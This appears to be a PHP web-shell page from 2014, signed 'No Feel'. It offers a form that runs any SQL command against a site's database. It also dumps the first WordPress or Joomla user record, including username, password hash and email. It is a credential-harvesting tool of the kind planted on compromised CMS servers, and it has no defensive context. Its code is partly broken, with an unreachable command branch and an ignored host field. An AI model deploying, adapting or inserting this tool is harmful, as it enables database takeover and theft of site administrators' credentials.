sql command line

<?php

echo "
<style>
body {
	background: green;
	color : white;
	font-size: 18px;
	font-style: italic;
	font-family: tahoma;

}


</style>
";
echo "<center><h1>SQL Command Line</h1></center>";

echo "
<title>SQL cmd</title>
<body bgcolor='yellow' >
<center><form action='#' method='post'>
Host : <input type='text' name='host' value='localhost' /><br />
Username : <input type='text' name='user' /> <br />
Password : <input type='text' name='pass' /><br />
db name : <input type='text' name='na' /><br />
Command : <input type='text' name='do'  /><br />
<select name='get'>
	<option value='wp'>Get Wordpress Information</option>
	<option value='joom'>Get Joomla Information</option>
</select><br />
<input type='submit' value='start' name='d'   /><br />
</form>
</center>
</body>
";

$u = $_POST['user'];
$p = $_POST['pass'];
$n = $_POST['na'];
$c = $_POST['do'];

$con = mysql_connect("localhost",$u,$p);
mysql_select_db($n);


if(isset($_POST['d']) && $_POST['d'] == 'do')
{
	if($con){
		$q = mysql_query($c);
	}

	echo "<center><h2>Done !! </h2></center>";
	echo "<center>
<h4>
<hr />
No Feel &copy; 2014 <br />
</h4>
</center>";

}

// wordpress information block :)

$get = $_POST['get']; // get select value :)

if ($get == 'wp') {
	# code...
	$qu =  mysql_query("SELECT * FROM wp_users");
	$g = mysql_fetch_assoc($qu);

	//print_r($g);
	$id = $g['ID'];
	$user = $g['user_login'];
	$pass = $g['user_pass'];
	$email = $g['user_email'];

	echo "
		<center>
        ~ wordpress info ~
		<table width='50%' border='2'>
			<tr>>
				<td>id : ".$id."</td>
				<td>Username : ".$user."</td>


			</tr>
			<tr>
				<td colspan='2'>password : ".$pass."</td>
			</tr>
			<tr>
				<td>E-Mail : ".$email."</td>
			</tr>
		</table>
		</center>
	";

	echo "<center>
<h4>
<hr />
No Feel &copy; 2014 <br />
</h4>
</center>";
}

// joomla information block :)

if ($get == 'joom') {
	# code...
	$qa = mysql_query("SELECT * FROM jos_users");
	$jget = mysql_fetch_assoc($qa);
	$jid = $jget['id'];
	$jusr = $jget['username'];
	$jps = $jget['password'];
	$jemail = $jget['email'];
		echo "
		<center>
        ~ joomla info ~
		<table width='50%' border='2'>
			<tr>>
				<td>id : ".$jid."</td>
				<td>Username : ".$jusr."</td>


			</tr>
			<tr>
				<td colspan='2'>password : ".$jps."</td>
			</tr>
			<tr>
				<td>E-Mail : ".$jemail."</td>
			</tr>
		</table>
		</center>

	";
	echo "<center>
<h4>
<hr />
No Feel &copy; 2014 <br />
</h4>
</center>";

}


?>